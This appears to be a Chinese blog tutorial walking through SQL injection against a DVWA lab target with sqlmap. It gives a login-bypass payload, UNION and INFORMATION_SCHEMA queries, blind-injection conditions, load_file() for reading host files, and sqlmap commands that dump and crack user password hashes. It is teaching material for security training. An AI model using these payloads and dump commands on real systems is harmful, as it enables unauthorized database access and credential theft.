← 返回

Metasploit 渗透测试 - SQL注入

渗透测试 • 2026年4月15日

SQL注入简介

SQL注入(SQL Injection)是一种常见的网络攻击方式,攻击者可利用未审查的数据输入通道在输入字段中插入恶意的SQL代码。

老实说,SQL注入的鼎鼎大名已经使它自己销声匿迹了,很难在真实网络中成功攻击(除了“AI一键生成”和大学生的课设,大多数后者可视作前者)。

Metasploit中集成了sqlmap工具,可通过以下方式使用:

use auxiliary/scanner/http/sqlmap

以下使用原生sqlmap工具进行测试,原理相同。

SQL注入实践

步骤一:发现SQL注入漏洞

打开目标web网站 10.10.10.129 进行登录。在用户名中输入 admin',返回了一个错误提示,说明输入未经审查,存在SQL注入漏洞。

输入admin'返回错误提示

步骤二:绕过身份验证

可猜想输入的SQL语句可能是:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

通过在用户名中输入 admin' OR '1'='1,SQL语句变为:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'password';

由于'1'='1'始终为真,攻击者可以绕过身份验证,成功登录系统。

SQL注入绕过验证
成功登录系统

步骤三:进入DVWA靶场

登录后看到内部有一个著名的DVWA(Damn Vulnerable Web Application)靶场,这是一个专门设计来练习和测试各种网络安全漏洞的靶场,包含了多个级别的SQL注入漏洞。

在设置中将安全级别设置为low,点击SQL Injection进行SQL注入测试。

步骤四:获取Cookie

在输入框中随便输入一个 aa,点击Submit,可看到URL中出现了 id=aa,复制url。

在现代浏览器中可以打开开发者工具(在Kali的Firefox中快捷键是Ctrl+Shift+C),点击Network(网络)标签页,开启记录,再次提交。可看到请求中包含了cookie信息,复制cookie值。

开发者工具中的cookie信息

步骤五:使用sqlmap检测SQL注入

在终端中使用sqlmap工具进行测试,输入以下命令:

sqlmap -u "your url" --cookie="your_cookie_value"

一路都选Yes,sqlmap会自动检测可利用的SQL注入漏洞。

sqlmap检测结果

步骤六:列出数据库

加入 --dbs 参数,sqlmap会列出所有数据库名称:

sqlmap -u "your url" --cookie="your_cookie_value" --dbs
sqlmap列出所有数据库

步骤七:列出表名称

加入 -D <database_name> --tables 参数,sqlmap会列出指定数据库中的所有表名称:

sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa --tables
sqlmap列出表名称

步骤八:列出列名称

加入 -D <database_name> -T <table_name> --columns 参数,sqlmap会列出指定数据库中指定表的所有列名称:

sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa -T users --columns
sqlmap列出列名称

步骤九:导出数据库数据

加入 -D <database_name> -T <table_name> --columns --dump 参数,sqlmap会导出指定数据库中指定表的所有列的数据:

sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa -T users --columns --dump

过程中sqlmap读取到MD5加密的密码,询问你是否暴力破解,选Yes,sqlmap会自动使用内置的字典进行破解。最终我们获取了数据库中的用户名和密码。

sqlmap导出数据库数据

至此为止,使用sqlmap成功完成了小白级别的SQL注入测试,获取了数据库中的敏感信息(用户名和密码)。

SQL注入原理

注释

MySQL单行注释为 '--''#' 加空格,其后内容被视为注释,由此可以绕过原语句后的逻辑。

UNION注入

以下列SQL语句为例,id为注入点:

SELECT first_name,last_name FROM users where id = '1'

输入 ' union select 1,2 -- ',原语句变为:

SELECT first_name,last_name FROM users where id = '' union select 1,2 -- ''

查询结果为first_name=1,last_name=2,由此知道查询语句列数为2。

通过INFORMATION_SCHEMA获取数据库信息

通过从系统数据库INFORMATION_SCHEMA查询,可获取数据库信息:

  • INFORMATION_SCHEMA.tables 获取 table_name 列,获取数据库中的所有表名
  • INFORMATION_SCHEMA.columns 获取 column_name 列,使用where语句约束 table_name = <表名> 获取指定表中的所有列名
  • 从相应表的相应列获取具体的值,如 'UNION SELECT user, password from users -- '
  • 使用 concat(string,string,……) 函数一次获取多列
  • 使用 group_concat 函数对多行查询结果拼接

系统函数

使用系统函数可获取额外信息:

  • version() - 数据库版本
  • database() - 数据库名称
  • user() - 用户名
  • load_file() - 读取主机上的文件

盲注

盲注是在目标网页没有错误提示的情况下进行的SQL注入攻击:

  • 通过 length(database()) > ? 条件,根据是否报错可判断数据库名称长度
  • 通过 ascii(substring(database(),1,1)) > ? 条件,根据是否报错可逐个判断数据库名称
  • 通过 (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.tables WHERE table_schema=database()) > ? 条件,根据是否报错可判断数据库中表的个数